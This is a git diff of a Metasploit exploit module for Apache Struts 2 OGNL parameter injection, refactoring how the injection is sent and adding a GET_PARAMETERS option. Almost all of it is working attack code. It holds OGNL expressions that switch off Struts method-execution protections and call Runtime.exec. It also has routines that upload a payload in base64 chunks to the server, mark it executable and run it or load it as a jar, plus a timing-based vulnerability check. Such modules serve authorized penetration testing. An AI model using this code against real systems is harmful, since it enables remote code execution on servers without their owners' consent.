@@ -27,7 +27,8 @@ def initialize(info = {})
27
27
[
28
28
'Meder Kydyraliev' , # Vulnerability Discovery and PoC
29
29
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' , # Metasploit Module
30
- 'mihi' #ARCH_JAVA support
30
+ 'mihi' , #ARCH_JAVA support
31
+ 'Christian Mehlmauer' # Metasploit Module
31
32
] ,
32
33
'License' => MSF_LICENSE ,
33
34
'References' =>
@@ -66,75 +67,93 @@ def initialize(info = {})
66
67
register_options (
67
68
[
68
69
Opt ::RPORT ( 8080 ) ,
69
- OptString . new ( 'PARAMETER' , [ true , 'The parameter to perform injection against.' , "username" ] ) ,
70
- OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action with the location to perform the injection' , "/blank-struts2/login.action?INJECT" ] ) ,
71
- OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] )
70
+ OptString . new ( 'PARAMETER' , [ true , 'The parameter to perform injection against.' , 'username' ] ) ,
71
+ OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action' , '/blank-struts2/login.action' ] ) ,
72
+ OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] ) ,
73
+ OptString . new ( 'GET_PARAMETERS' , [ false , 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.' , nil ] ) ,
72
74
] , self . class )
73
75
end
74
76
75
- def execute_command ( cmd , opts = { } )
76
- inject = "PARAMETERTOKEN=(#context[\" xwork.MethodAccessor.denyMethodExecution\" ]=+new+java.lang.Boolean(false),#_memberAccess[\" allowStaticMethodAccess\" ]"
77
- inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
78
- inject . gsub! ( /PARAMETERTOKEN/ , Rex ::Text ::uri_encode ( datastore [ 'PARAMETER' ] ) )
79
- inject . gsub! ( /CMD/ , Rex ::Text ::uri_encode ( cmd ) )
80
- uri = String . new ( datastore [ 'TARGETURI' ] )
81
- uri = normalize_uri ( uri )
82
- uri . gsub! ( /INJECT/ , inject ) # append the injection string
77
+ def parameter
78
+ datastore [ 'PARAMETER' ]
79
+ end
80
+
81
+ def get_parameter
82
+ retval = { }
83
+ return retval unless datastore [ 'GET_PARAMETERS' ]
84
+ splitted = datastore [ 'GET_PARAMETERS' ] . split ( '&' )
85
+ return retval if splitted . nil? || splitted . empty?
86
+ splitted . each { |item |
87
+ name , value = item . split ( '=' )
88
+ # no check here, value can be nil if parameter is ¶m
89
+ decoded_name = name ? Rex ::Text ::uri_decode ( name ) : nil
90
+ decoded_value = value ? Rex ::Text ::uri_decode ( value ) : nil
91
+ retval [ decoded_name ] = decoded_value
92
+ }
93
+ retval
94
+ end
95
+
96
+ def execute_command ( cmd )
97
+ junk = Rex ::Text . rand_text_alpha ( 6 )
98
+ inject = "(#context[\" xwork.MethodAccessor.denyMethodExecution\" ]= new java.lang.Boolean(false),#_memberAccess[\" allowStaticMethodAccess\" ]"
99
+ inject << "= new java.lang.Boolean(true),#{ cmd } )('#{ junk } ')"
100
+ uri = normalize_uri ( datastore [ 'TARGETURI' ] )
83
101
resp = send_request_cgi ( {
84
102
'uri' => uri ,
85
103
'version' => '1.1' ,
86
104
'method' => 'GET' ,
105
+ 'vars_get' => { parameter => inject , "z[(#{ parameter } )(#{ junk } )]" => 'true' } . merge ( get_parameter )
87
106
} )
88
- return resp #Used for check function.
107
+ resp
89
108
end
90
109
91
110
def exploit
92
111
#Set up generic values.
93
- @ payload_exe = rand_text_alphanumeric ( 4 + rand ( 4 ) )
112
+ payload_exe = rand_text_alphanumeric ( 4 + rand ( 4 ) )
94
113
pl_exe = generate_payload_exe
95
- append = ' false'
114
+ append = false
96
115
#Now arch specific...
97
116
case target [ 'Platform' ]
98
117
when 'linux'
99
- @ payload_exe = "/tmp/#{ @ payload_exe} "
100
- chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\" /bin/sh_-c_chmod +x #{ @ payload_exe} \" .split(\" _\" ))"
101
- exec_cmd = "@java.lang.Runtime@getRuntime().exec(\" /bin/sh_-c_#{ @ payload_exe} \" .split(\" _\" ))"
118
+ payload_exe = "/tmp/#{ payload_exe } "
119
+ chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\" /bin/sh_-c_chmod +x #{ payload_exe } \" .split(\" _\" ))"
120
+ exec_cmd = "@java.lang.Runtime@getRuntime().exec(\" /bin/sh_-c_#{ payload_exe } \" .split(\" _\" ))"
102
121
when 'java'
103
- @ payload_exe << ".jar"
122
+ payload_exe << ".jar"
104
123
pl_exe = payload . encoded_jar . pack
105
- exec_cmd = ""
124
+ exec_cmd = ''
106
125
exec_cmd <<
"#[email protected] @forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
107
126
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
108
127
exec_cmd <<
"#[email protected] @forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
109
128
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
110
- exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{ @ payload_exe} ').toURI().toURL()}),"
129
+ exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{ payload_exe } ').toURI().toURL()}),"
111
130
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
112
131
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
113
132
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
114
133
when 'windows'
115
- @ payload_exe = "./#{ @ payload_exe} .exe"
116
- exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{ @ payload_exe} ')"
134
+ payload_exe = "./#{ payload_exe } .exe"
135
+ exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{ payload_exe } ')"
117
136
else
118
137
fail_with ( Failure ::NoTarget , 'Unsupported target platform!' )
119
138
end
120
139
121
140
#Now with all the arch specific stuff set, perform the upload.
122
141
#109 = length of command string plus the max length of append.
123
- sub_from_chunk = 109 + @ payload_exe. length + datastore [ 'TARGETURI' ] . length + datastore [ 'PARAMETER' ] . length
142
+ sub_from_chunk = 109 + payload_exe . length + datastore [ 'TARGETURI' ] . length + parameter . length
124
143
chunk_length = 2048 - sub_from_chunk
125
- chunk_length = ( ( chunk_length /4 ) . floor ) * 3
144
+ chunk_length = ( ( chunk_length /4 ) . floor ) * 3
126
145
while pl_exe . length > chunk_length
127
- java_upload_part ( pl_exe [ 0 , chunk_length ] , @ payload_exe, append )
146
+ java_upload_part ( pl_exe [ 0 , chunk_length ] , payload_exe , append )
128
147
pl_exe = pl_exe [ chunk_length , pl_exe . length - chunk_length ]
129
148
append = true
130
149
end
131
- java_upload_part ( pl_exe , @ payload_exe, append )
150
+ java_upload_part ( pl_exe , payload_exe , append )
132
151
execute_command ( chmod_cmd ) if target [ 'Platform' ] == 'linux'
133
152
execute_command ( exec_cmd )
134
- register_files_for_cleanup ( @ payload_exe)
153
+ register_files_for_cleanup ( payload_exe )
135
154
end
136
155
137
- def java_upload_part ( part , filename , append = ' false' )
156
+ def java_upload_part ( part , filename , append = false )
138
157
cmd = ""
139
158
cmd << "#f=new java.io.FileOutputStream('#{ filename } ',#{ append } ),"
140
159
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{ Rex ::Text . encode_base64 ( part ) } ')),"
@@ -151,7 +170,6 @@ def check
151
170
t2 = Time . now
152
171
delta = t2 - t1
153
172
154
-
155
173
if response . nil?
156
174
return Exploit ::CheckCode ::Safe
157
175
elsif delta < sleep_time
0 commit comments